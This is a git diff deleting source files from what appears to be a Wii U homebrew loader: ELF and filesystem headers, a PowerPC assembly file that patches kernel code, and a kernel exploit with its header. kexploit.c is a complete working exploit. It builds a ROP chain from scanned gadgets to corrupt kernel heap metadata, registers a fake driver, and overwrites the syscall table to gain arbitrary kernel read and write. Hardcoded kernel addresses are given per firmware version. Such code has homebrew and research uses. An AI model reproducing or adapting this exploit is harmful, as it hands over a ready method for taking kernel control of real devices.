/* 32bit absolute address */ -#define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */ -#define R_PPC_ADDR16 3 /* 16bit absolute address */ -#define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */ -#define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */ -#define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */ -#define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */ -#define R_PPC_ADDR14_BRTAKEN 8 -#define R_PPC_ADDR14_BRNTAKEN 9 -#define R_PPC_REL24 10 /* PC relative 26 bit */ -#define R_PPC_REL14 11 /* PC relative 16 bit */ -#define R_PPC_REL14_BRTAKEN 12 -#define R_PPC_REL14_BRNTAKEN 13 -#define R_PPC_GOT16 14 -#define R_PPC_GOT16_LO 15 -#define R_PPC_GOT16_HI 16 -#define R_PPC_GOT16_HA 17 -#define R_PPC_PLTREL24 18 -#define R_PPC_COPY 19 -#define R_PPC_GLOB_DAT 20 -#define R_PPC_JMP_SLOT 21 -#define R_PPC_RELATIVE 22 -#define R_PPC_LOCAL24PC 23 -#define R_PPC_UADDR32 24 -#define R_PPC_UADDR16 25 -#define R_PPC_REL32 26 -#define R_PPC_PLT32 27 -#define R_PPC_PLTREL32 28 -#define R_PPC_PLT16_LO 29 -#define R_PPC_PLT16_HI 30 -#define R_PPC_PLT16_HA 31 -#define R_PPC_SDAREL16 32 -#define R_PPC_SECTOFF 33 -#define R_PPC_SECTOFF_LO 34 -#define R_PPC_SECTOFF_HI 35 -#define R_PPC_SECTOFF_HA 36 -/* Keep this the last entry. */ -#define R_PPC_NUM 37 - -/* The remaining relocs are from the Embedded ELF ABI, and are not - in the SVR4 ELF ABI. */ -#define R_PPC_EMB_NADDR32 101 -#define R_PPC_EMB_NADDR16 102 -#define R_PPC_EMB_NADDR16_LO 103 -#define R_PPC_EMB_NADDR16_HI 104 -#define R_PPC_EMB_NADDR16_HA 105 -#define R_PPC_EMB_SDAI16 106 -#define R_PPC_EMB_SDA2I16 107 -#define R_PPC_EMB_SDA2REL 108 -#define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */ -#define R_PPC_EMB_MRKREF 110 -#define R_PPC_EMB_RELSEC16 111 -#define R_PPC_EMB_RELST_LO 112 -#define R_PPC_EMB_RELST_HI 113 -#define R_PPC_EMB_RELST_HA 114 -#define R_PPC_EMB_BIT_FLD 115 -#define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */ - -/* Diab tool relocations. */ -#define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */ -#define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */ -#define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */ -#define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */ -#define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */ -#define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */ - -/* This is a phony reloc to handle any old fashioned TOC16 references - that may still be in object files. */ -#define R_PPC_TOC16 255 - -#endif /* _ELF_H */ diff --git a/dsrom/hbl_loader/fs_defs.h b/dsrom/hbl_loader/fs_defs.h deleted file mode 100644 index 1b3795b..0000000 --- a/dsrom/hbl_loader/fs_defs.h +++ /dev/null @@ -1,60 +0,0 @@ -#ifndef FS_DEFS_H -#define FS_DEFS_H - -#ifdef __cplusplus -extern "C" { -#endif - - -/* FS defines and types */ -#define FS_MAX_LOCALPATH_SIZE 511 -#define FS_MAX_MOUNTPATH_SIZE 128 -#define FS_MAX_FULLPATH_SIZE (FS_MAX_LOCALPATH_SIZE + FS_MAX_MOUNTPATH_SIZE) -#define FS_MAX_ARGPATH_SIZE FS_MAX_FULLPATH_SIZE - -#define FS_STATUS_OK 0 -#define FS_RET_UNSUPPORTED_CMD 0x0400 -#define FS_RET_NO_ERROR 0x0000 -#define FS_RET_ALL_ERROR (unsigned int)(-1) - -#define FS_STAT_FLAG_IS_DIRECTORY 0x80000000 - -/* max length of file/dir name */ -#define FS_MAX_ENTNAME_SIZE 256 - -#define FS_SOURCETYPE_EXTERNAL 0 -#define FS_SOURCETYPE_HFIO 1 -#define FS_SOURCETYPE_HFIO 1 - -#define FS_MOUNT_SOURCE_SIZE 0x300 -#define FS_CLIENT_SIZE 0x1700 -#define FS_CMD_BLOCK_SIZE 0xA80 - -typedef struct -{ - uint32_t flag; - uint32_t permission; - uint32_t owner_id; - uint32_t group_id; - uint32_t size; - uint32_t alloc_size; - uint64_t quota_size; - uint32_t ent_id; - uint64_t ctime; - uint64_t mtime; - uint8_t attributes[48]; -} __attribute__((packed)) FSStat; - -typedef struct -{ - FSStat stat; - char name[FS_MAX_ENTNAME_SIZE]; -} FSDirEntry; - - -#ifdef __cplusplus -} -#endif - -#endif /* FS_DEFS_H */ - diff --git a/dsrom/hbl_loader/kernel_patches.S b/dsrom/hbl_loader/kernel_patches.S deleted file mode 100644 index f5c0936..0000000 --- a/dsrom/hbl_loader/kernel_patches.S +++ /dev/null @@ -1,282 +0,0 @@ -#if (VER == 550) - #define BAT_SETUP_HOOK_ADDR 0xFFF1D624 - # not all of those NOP address are required for every firmware - # mainly these should stop the kernel from removing our IBAT4 and DBAT5 - #define BAT_SET_NOP_ADDR_1 0xFFF06B6C - #define BAT_SET_NOP_ADDR_2 0xFFF06BF8 - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF1D70C - #define BAT_SET_NOP_ADDR_6 0xFFF1D728 - #define BAT_SET_NOP_ADDR_7 0xFFF1D82C - - #define BAT_SET_NOP_ADDR_8 0xFFEE11C4 - #define BAT_SET_NOP_ADDR_9 0xFFEE11C8 - -#elif ((VER == 532) || (VER == 540)) - #define BAT_SETUP_HOOK_ADDR 0xFFF1D638 - - # not all of those NOP address are required for every firmware - # mainly these should stop the kernel from removing our IBAT4 and DBAT5 - #define BAT_SET_NOP_ADDR_1 0xFFF06A14 - #define BAT_SET_NOP_ADDR_2 0xFFF06AA0 - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF1D720 - #define BAT_SET_NOP_ADDR_6 0xFFF1D73C - #define BAT_SET_NOP_ADDR_7 0xFFF1D840 - - #define BAT_SET_NOP_ADDR_8 0xFFEE10B8 - #define BAT_SET_NOP_ADDR_9 0xFFEE10BC - -#elif ((VER == 500) || (VER == 510)) - #define BAT_SETUP_HOOK_ADDR 0xFFF1D518 - - #define BAT_SET_NOP_ADDR_1 0xFFF0697C - #define BAT_SET_NOP_ADDR_2 0xFFF06A08 - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF1D600 - #define BAT_SET_NOP_ADDR_6 0xFFF1D61C - #define BAT_SET_NOP_ADDR_7 0xFFF1D720 - - #define BAT_SET_NOP_ADDR_8 0xFFEE10B8 - #define BAT_SET_NOP_ADDR_9 0xFFEE10BC -#elif VER == 410 - #define BAT_SETUP_HOOK_ADDR 0xFFF1AD00 - - #define BAT_SET_NOP_ADDR_1 0xFFF06708 - #define BAT_SET_NOP_ADDR_2 0xFFF06794 - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF1ADE8 - #define BAT_SET_NOP_ADDR_6 0xFFF1AE04 - #define BAT_SET_NOP_ADDR_7 0xFFF1AF08 - - #define BAT_SET_NOP_ADDR_8 0xFFEE10B8 - #define BAT_SET_NOP_ADDR_9 0xFFEE10BC -#elif VER == 400 - #define BAT_SETUP_HOOK_ADDR 0xFFF1A440 - - #define BAT_SET_NOP_ADDR_1 0xFFF066FC - #define BAT_SET_NOP_ADDR_2 0xFFF06788 - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF1A528 - #define BAT_SET_NOP_ADDR_6 0xFFF1A544 - //define BAT_SET_NOP_ADDR_7 not present in 400 - - #define BAT_SET_NOP_ADDR_8 0xFFEE0F50 - #define BAT_SET_NOP_ADDR_9 0xFFEE0F54 -#elif (VER == 310) - #define BAT_SETUP_HOOK_ADDR 0xFFF19EC4 - - #define BAT_SET_NOP_ADDR_1 0xFFF06590 - #define BAT_SET_NOP_ADDR_2 0xFFF0661C - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF19FAC - #define BAT_SET_NOP_ADDR_6 0xFFF19FC8 -// #define BAT_SET_NOP_ADDR_7 not present in 3.1.0 - - #define BAT_SET_NOP_ADDR_8 0xFFEE0FB0 - #define BAT_SET_NOP_ADDR_9 0xFFEE0FB4 -#elif (VER == 300) - #define BAT_SETUP_HOOK_ADDR 0xFFF19E2C - - #define BAT_SET_NOP_ADDR_1 0xFFF06590 - #define BAT_SET_NOP_ADDR_2 0xFFF0661C - #define BAT_SET_NOP_ADDR_3 0xFFF003C8 - #define BAT_SET_NOP_ADDR_4 0xFFF003CC - #define BAT_SET_NOP_ADDR_5 0xFFF19F14 - #define BAT_SET_NOP_ADDR_6 0xFFF19F30 -// #define BAT_SET_NOP_ADDR_7 not present in 3.0.x - - #define BAT_SET_NOP_ADDR_8 0xFFEE0DB8 - #define BAT_SET_NOP_ADDR_9 0xFFEE0DBC -#else - #error Please define valid values for kernel setup. -#endif - -#ifdef USE_SD_LOADER - #define BAT_SETUP_HOOK_ENTRY 0x00800000 -#else - #define BAT_SETUP_HOOK_ENTRY (0x00800000 + 0x2000) -#endif - -#define BAT4U_VAL 0x008000FF -#if VER >= 410 - #define BAT4L_VAL 0x30800012 -#elif VER <= 400 - #define BAT4L_VAL 0x4E800012 -#else - #error Please define valid value for firmware setup. -#endif - -#define SET_R4_TO_ADDR(addr) \ - lis r3, addr@h ; \ - ori r3, r3, addr@l ; \ - stw r4, 0(r3) ; \ - dcbf 0, r3 ; \ - icbi 0, r3 ; - - .globl SC_0x25_KernelCopyData -SC_0x25_KernelCopyData: - li r0, 0x2500 - sc - blr - - .globl Syscall_0x36 -Syscall_0x36: - li r0, 0x3600 - sc - blr - - .globl KernelPatches -KernelPatches: - # store the old DBAT0 - mfdbatu r5, 0 - mfdbatl r6, 0 - - # memory barrier - eieio - isync - - # setup DBAT0 for access to kernel code memory - lis r3, 0xFFF0 - ori r3, r3, 0x0002 - mtdbatu 0, r3 - lis r3, 0xFFF0 - ori r3, r3, 0x0032 - mtdbatl 0, r3 - - # memory barrier - eieio - isync - - # SaveAndResetDataBATs_And_SRs hook setup, but could be any BAT function though - # just chosen because its simple - lis r3, BAT_SETUP_HOOK_ADDR@h - ori r3, r3, BAT_SETUP_HOOK_ADDR@l - - # make the kernel setup our section in IBAT4 and - # jump to our function to restore the replaced instructions - lis r4, 0x3ce0 # lis r7, BAT4L_VAL@h - ori r4, r4, BAT4L_VAL@h - stw r4, 0x00(r3) - lis r4, 0x60e7 # ori r7, r7, BAT4L_VAL@l - ori r4, r4, BAT4L_VAL@l - stw r4, 0x04(r3) - lis r4, 0x7cf1 # mtspr 561, r7 - ori r4, r4, 0x8ba6 - stw r4, 0x08(r3) - lis r4, 0x3ce0 # lis r7, BAT4U_VAL@h - ori r4, r4, BAT4U_VAL@h - stw r4, 0x0C(r3) - lis r4, 0x60e7 # ori r7, r7, BAT4U_VAL@l - ori r4, r4, BAT4U_VAL@l - stw r4, 0x10(r3) - lis r4, 0x7cf0 # mtspr 560, r7 - ori r4, r4, 0x8ba6 - stw r4, 0x14(r3) - lis r4, 0x7c00 # eieio - ori r4, r4, 0x06ac - stw r4, 0x18(r3) - lis r4, 0x4c00 # isync - ori r4, r4, 0x012c - stw r4, 0x1C(r3) - lis r4, 0x7ce8 # mflr r7 - ori r4, r4, 0x02a6 - stw r4, 0x20(r3) - lis r4, (BAT_SETUP_HOOK_ENTRY | 0x48000003)@h # bla BAT_SETUP_HOOK_ENTRY - ori r4, r4, (BAT_SETUP_HOOK_ENTRY | 0x48000003)@l - stw r4, 0x24(r3) - - # flush and invalidate the replaced instructions - lis r3, (BAT_SETUP_HOOK_ADDR & ~31)@h - ori r3, r3, (BAT_SETUP_HOOK_ADDR & ~31)@l - dcbf 0, r3 - icbi 0, r3 - lis r3, ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)@h - ori r3, r3, ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31)@l - dcbf 0, r3 - icbi 0, r3 - sync - - # setup IBAT4 for core 1 at this position (not really required but wont hurt) - # IBATL 4 - lis r3, BAT4L_VAL@h - ori r3, r3, BAT4L_VAL@l - mtspr 561, r3 - - # IBATU 4 - lis r3, BAT4U_VAL@h - ori r3, r3, BAT4U_VAL@l - mtspr 560, r3 - - # memory barrier - eieio - isync - - # write "nop" to some positions - lis r4, 0x6000 - # nop on IBATU 4 and DBAT 5 set/reset -#ifdef BAT_SET_NOP_ADDR_1 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_1) -#endif -#ifdef BAT_SET_NOP_ADDR_2 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_2) -#endif -#ifdef BAT_SET_NOP_ADDR_3 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_3) -#endif -#ifdef BAT_SET_NOP_ADDR_4 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_4) -#endif -#ifdef BAT_SET_NOP_ADDR_5 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_5) -#endif -#ifdef BAT_SET_NOP_ADDR_6 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_6) -#endif -#ifdef BAT_SET_NOP_ADDR_7 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_7) -#endif - -#if (defined(BAT_SET_NOP_ADDR_8) && defined(BAT_SET_NOP_ADDR_9)) - # memory barrier - eieio - isync - - # setup DBAT0 for access to kernel code memory - lis r3, 0xFFEE - ori r3, r3, 0x0002 - mtdbatu 0, r3 - lis r3, 0xFFEE - ori r3, r3, 0x0032 - mtdbatl 0, r3 - - # memory barrier - eieio - isync - - # write "nop" to some positions - lis r4, 0x6000 - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_8) - SET_R4_TO_ADDR(BAT_SET_NOP_ADDR_9) -#endif - - # memory barrier - eieio - isync - - # restore DBAT 0 and return from interrupt - mtdbatu 0, r5 - mtdbatl 0, r6 - - # memory barrier - eieio - isync - - blr - diff --git a/dsrom/hbl_loader/kexploit.c b/dsrom/hbl_loader/kexploit.c deleted file mode 100644 index 5fa4419..0000000 --- a/dsrom/hbl_loader/kexploit.c +++ /dev/null @@ -1,245 +0,0 @@ -#include "kexploit.h" -#include "coreinit.h" - -void wait(unsigned int coreinit_handle, unsigned int t); -void doBrowserShutdown(unsigned int coreinit_handle); -void setupOSScreen(unsigned int coreinit_handle); -void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos); -void exitOSScreen(unsigned int coreinit_handle); -void callSysExit(unsigned int coreinit_handle, void *sysFunc); - -/* Initial setup code stolen from Pong, makes race much more reliable */ -void run_kexploit(private_data_t *private_data) -{ - /* Get a handle to coreinit.rpl and gx2.rpl */ - unsigned int coreinit_handle = private_data->coreinit_handle; - unsigned int gx2_handle = 0; - OSDynLoad_Acquire("gx2.rpl", &gx2_handle); - - /* Exit functions */ - void (*__PPCExit)(); - OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit); - - /* Memory functions */ - void (*DCFlushRange)(void *buffer, uint32_t length); - void* (*OSAllocFromSystem)(uint32_t size, int align); - void (*OSFreeToSystem)(void *ptr); - OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange); - OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); - OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); - - /* OS thread functions */ - bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int priority, uint16_t attr); - int (*OSResumeThread)(void *thread); - void (*OSExitThread)(); - int (*OSIsThreadTerminated)(void *thread); - void (*OSYieldThread)(void); - - OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated); - OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread); - - /* OSDriver functions */ - uint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020}; - uint32_t (*Register)(char *driver_name, uint32_t name_length, void *buf1, void *buf2) = find_gadget(reg, 0xc, (uint32_t) __PPCExit); - uint32_t dereg[] = {0x38003300, 0x44000002, 0x4E800020}; - uint32_t (*Deregister)(char *driver_name, uint32_t name_length) = find_gadget(dereg, 0xc, (uint32_t) __PPCExit); - uint32_t copyfrom[] = {0x38004700, 0x44000002, 0x4E800020}; - uint32_t (*CopyFromSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyfrom, 0xc, (uint32_t) __PPCExit); - uint32_t copyto[] = {0x38004800, 0x44000002, 0x4E800020}; - uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyto, 0xc, (uint32_t) __PPCExit); - - /* GX2 functions */ - void (*GX2SetSemaphore)(uint64_t *sem, int action); - void (*GX2Init)(void *arg); - void (*GX2Shutdown)(void); - OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", &GX2SetSemaphore); - OSDynLoad_FindExport(gx2_handle, 0, "GX2Init", &GX2Init); - OSDynLoad_FindExport(gx2_handle, 0, "GX2Shutdown", &GX2Shutdown); - - /* Init GX2 again */ - GX2Init((void*)0); - - /* Allocate space for DRVHAX */ - uint32_t *drvhax = OSAllocFromSystem(0x4c, 4); - - /* Set the kernel heap metadata entry */ - uint32_t *metadata = (uint32_t*) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE)); - metadata[0] = (uint32_t)drvhax; - metadata[1] = (uint32_t)-0x4c; - metadata[2] = (uint32_t)-1; - metadata[3] = (uint32_t)-1; - - /* Find some gadgets */ - uint32_t gx2data[] = {0xFC2A0000}; - uint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000); - uint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020}; - uint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, 0x01000000); - uint32_t r30r31load[] = {0x80010014, 0x83e1000c, 0x7c0803a6, 0x83c10008, 0x38210010, 0x4e800020}; - uint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, 0x01000000); - uint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024}; - uint32_t doflush_addr = (uint32_t) find_gadget(doflush, 0x2C, 0x01000000) + 0x14 + 0x18; - uint32_t gx2rop[] = {0x819A0004, 0x55800036, 0x7C006040, 0x40820054, 0x2C190000, 0x4182004C, 0x2C1F0000, 0x40820044, 0x2C1D0000, 0x4182003C, 0x2C1E0000}; - uint32_t gx2rop_addr = (uint32_t) find_gadget(gx2rop, 0x2C, 0x01000000); - - /* Modify a next ptr on the heap */ - uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET; - - /* Make a thread to modify the semaphore */ - OSContext *thread = (OSContext*)private_data->MEMAllocFromDefaultHeapEx(0x1000, 8); - uint32_t *stack = (uint32_t*)private_data->MEMAllocFromDefaultHeapEx(0xA0, 0x20); - if (!OSCreateThread(thread, (void*)gx2rop_addr, 0, NULL, ((uint32_t)stack) + 0xA0, 0xA0, 0, 0x1 | 0x8)) OSFatal("Failed to create thread"); - - /* Set up the ROP chain */ - thread->gpr[1] = (uint32_t)stack; - thread->gpr[3] = kpaddr; - thread->gpr[30] = gx2data_addr; - thread->gpr[31] = 1; - thread->srr0 = ((uint32_t)GX2SetSemaphore) + 0x2C; - - stack[0x24/4] = r30r31load_addr; /* Load r30/r31 - stack=0x20 */ - stack[0x28/4] = gx2data_addr; /* r30 = GX2 data area */ - stack[0x2c/4] = 1; /* r31 = 1 (signal) */ - - stack[0x34/4] = r3r4load_addr; /* Load r3/r4 - stack=0x30 */ - stack[0x38/4] = kpaddr; - - stack[0x44/4] = ((uint32_t)GX2SetSemaphore) + 0x2C; /* GX2SetSemaphore() - stack=0x40 */ - - stack[0x64/4] = r30r31load_addr; /* Load r30/r31 - stack=0x60 */ - stack[0x68/4] = 0x100; /* r30 = r3 of do_flush = 0x100 */ - stack[0x6c/4] = 1; /* r31 = r4 of do_flush = 1 */ - - stack[0x74/4] = doflush_addr; /* do_flush() - stack=0x70 */ - - stack[0x94/4] = (uint32_t)OSExitThread; - - DCFlushRange(thread, 0x1000); - DCFlushRange(stack, 0x1000); - - /* Start the thread */ - OSResumeThread(thread); - - /* Wait for a while */ - while(OSIsThreadTerminated(thread) == 0) - { - OSYieldThread(); - } - - /* Free stuff */ - private_data->MEMFreeToDefaultHeap(thread); - private_data->MEMFreeToDefaultHeap(stack); - - /* Register a new OSDriver, DRVHAX */ - char drvname[6] = {'D', 'R', 'V', 'H', 'A', 'X'}; - Register(drvname, 6, NULL, NULL); - - /* Modify its save area to point to the kernel syscall table */ - drvhax[0x44/4] = KERN_SYSCALL_TBL_2 + (0x34 * 4); - - /* Use DRVHAX to install the read and write syscalls */ - uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE}; - CopyToSaveArea(drvname, 6, syscalls, 8); - - /* Clean up the heap and driver list so we can exit */ - kern_write((void*)(KERN_HEAP + STARTID_OFFSET), 0); - kern_write((void*)KERN_DRVPTR, drvhax[0x48/4]); - - /* Shut down GX2 again */ - GX2Shutdown(); -} - -/* Simple memcmp() implementation */ -int memcmp(void *ptr1, void *ptr2, uint32_t length) -{ - uint8_t *check1 = (uint8_t*) ptr1; - uint8_t *check2 = (uint8_t*) ptr2; - uint32_t i; - for (i = 0; i < length; i++) - { - if (check1[i] != check2[i]) return 1; - } - - return 0; -} - -void* memcpy(void* dst, const void* src, uint32_t size) -{ - uint32_t i; - for (i = 0; i < size; i++) - ((uint8_t*) dst)[i] = ((const uint8_t*) src)[i]; - return dst; -} - -/* Find a gadget based on a sequence of words */ -void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start) -{ - uint32_t *ptr; - - /* Search code before JIT area first */ - for (ptr = (uint32_t*) gadgets_start; ptr != (uint32_t*) JIT_ADDRESS; ptr++) - { - if (!memcmp(ptr, &code[0], length)) return ptr; - } - - /* Restart search after JIT */ - for (ptr = (uint32_t*) CODE_ADDRESS_START; ptr != (uint32_t*) CODE_ADDRESS_END; ptr++) - { - if (!memcmp(ptr, &code[0], length)) return ptr; - } - - OSFatal("Gadget not found!"); - return (void*)0; -} - -/* Read a 32-bit word with kernel permissions */ -uint32_t __attribute__ ((noinline)) kern_read(const void *addr) -{ - uint32_t result; - asm volatile ( - "li 3,1\n" - "li 4,0\n" - "li 5,0\n" - "li 6,0\n" - "li 7,0\n" - "lis 8,1\n" - "mr 9,%1\n" - "li 0,0x3400\n" - "mr %0,1\n" - "sc\n" - "nop\n" - "mr 1,%0\n" - "mr %0,3\n" - : "=r"(result) - : "b"(addr) - : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", - "11", "12" - ); - - return result; -} - -/* Write a 32-bit word with kernel permissions */ -void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value) -{ - asm volatile ( - "li 3,1\n" - "li 4,0\n" - "mr 5,%1\n" - "li 6,0\n" - "li 7,0\n" - "lis 8,1\n" - "mr 9,%0\n" - "mr %1,1\n" - "li 0,0x3500\n" - "sc\n" - "nop\n" - "mr 1,%1\n" - : - : "r"(addr), "r"(value) - : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", - "11", "12" - ); -} diff --git a/dsrom/hbl_loader/kexploit.h b/dsrom/hbl_loader/kexploit.h deleted file mode 100644 index 096aa97..0000000 --- a/dsrom/hbl_loader/kexploit.h +++ /dev/null @@ -1,51 +0,0 @@ -#ifndef KEXPLOIT_H -#define KEXPLOIT_H - -#include "structs.h" -#include "types.h" - -/* Wait times for CPU0 and CPU2 */ -#define CPU0_WAIT_TIME 80 -#define CPU2_WAIT_TIME 92 - -/* Gadget finding addresses */ -#define JIT_ADDRESS 0x01800000 -#define CODE_ADDRESS_START 0x0D800000 -#define CODE_ADDRESS_END 0x0F848A0C - -/* Kernel addresses, stolen from Chadderz */ -#define KERN_HEAP 0xFF200000 -#define KERN_HEAP_PHYS 0x1B800000 - -#define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown -#define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games -#define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader -#define KERN_SYSCALL_TBL_4 0xFFEAAA60 // works with home menu -#define KERN_SYSCALL_TBL_5 0xFFEAAE60 // works with browser (previously KERN_SYSCALL_TBL) - -#define KERN_CODE_READ 0xFFF023D4 -#define KERN_CODE_WRITE 0xFFF023F4 -#define KERN_ADDRESS_TBL 0xFFEAB7A0 -#define KERN_DRVPTR (KERN_ADDRESS_TBL - 0x270) - -/* Browser PFID */ -#define PFID_BROWSER 8 - -/* Kernel heap constants */ -#define STARTID_OFFSET 0x08 -#define METADATA_OFFSET 0x14 -#define METADATA_SIZE 0x10 - -/* Size of a Cafe OS thread */ -#define OSTHREAD_SIZE 0x1000 - -void run_kexploit(private_data_t *private_data); - -/* Find a ROP gadget by a sequence of bytes */ -void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start); - -/* Arbitrary read and write syscalls */ -uint32_t __attribute__ ((noinline)) kern_read(const void *addr); -void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value); - -#endif /* KEXPLOIT_H */ diff --git a/dsrom/hbl_loader/launcher.c b/dsrom/hbl_loader/launcher.c deleted file mode 100644 index a8acfd4..0000000 --- a/dsrom/hbl_loader/launcher.c +++ /dev/null @@ -1,398 +0,0 @@ -#include "types.h" -#include "elf_abi.h" -#include "kexploit.h" -#include "structs.h" -#include "sd_loader.h" -#include "coreinit.h" - -#define MEM_BASE 0xC0800000 -#include "common.h" -#include "os_defs.h" - -//! this shouldnt depend on OS -#define LIB_CODE_RW_BASE_OFFSET 0xC1000000 -#define CODE_RW_BASE_OFFSET 0xC0000000 -#define DATA_RW_BASE_OFFSET 0xC0000000 - -#define ADDRESS_OSTitle_main_entry_ptr 0x1005E040 -#define ADDRESS_main_entry_hook 0x0101C56C - -#define ROOTRPX_DBAT0U_VAL 0xC00003FF -#define COREINIT_DBAT0U_VAL 0xC20001FF - -#define ROOTRPX_DBAT0L_VAL 0x30000012 -#define COREINIT_DBAT0L_VAL 0x32000012 - -#define address_LiWaitIopComplete 0x01010180 -#define address_LiWaitIopCompleteWithInterrupts 0x0101006C -#define address_LiWaitOneChunk 0x0100080C -#define address_PrepareTitle_hook 0xFFF184E4 -#define address_sgIsLoadingBuffer 0xEFE19E80 -#define address_gDynloadInitialized 0xEFE13DBC - -/* Install functions */ -static void InstallMain(private_data_t *private_data); -static void InstallPatches(private_data_t *private_data); -static void PrepareScreen(private_data_t *private_data); -static void ExitFailure(private_data_t *private_data, const char *failure); - -static void SetupKernelSyscall(unsigned int addr); -static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len); - -/* assembly functions */ -extern void SC_0x25_KernelCopyData(void* addr, void* src, unsigned int len); -extern void Syscall_0x36(void); -extern void KernelPatches(void); - -/* ****************************************************************** */ -/* ENTRY POINT */ -/* ****************************************************************** */ -void __main(void) -{ - /* Get coreinit handle and keep it in memory */ - unsigned int coreinit_handle; - OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); - - /* Get our memory functions */ - unsigned int* functionPointer; - void* (*p_memset)(void * dest, unsigned int value, unsigned int bytes); - OSDynLoad_FindExport(coreinit_handle, 0, "memset", &p_memset); - - private_data_t private_data; - p_memset(&private_data, 0, sizeof(private_data_t)); - - private_data.coreinit_handle = coreinit_handle; - private_data.memset = p_memset; - private_data.data_elf = (unsigned char *) sd_loader_sd_loader_elf; // use this address as temporary to load the elf - - OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPointer); - private_data.MEMAllocFromDefaultHeapEx = (void*(*)(unsigned int, unsigned int))*functionPointer; - OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPointer); - private_data.MEMFreeToDefaultHeap = (void (*)(void *))*functionPointer; - - OSDynLoad_FindExport(coreinit_handle, 0, "memcpy", &private_data.memcpy); - OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &private_data.OSEffectiveToPhysical); - OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &private_data.DCFlushRange); - OSDynLoad_FindExport(coreinit_handle, 0, "ICInvalidateRange", &private_data.ICInvalidateRange); - 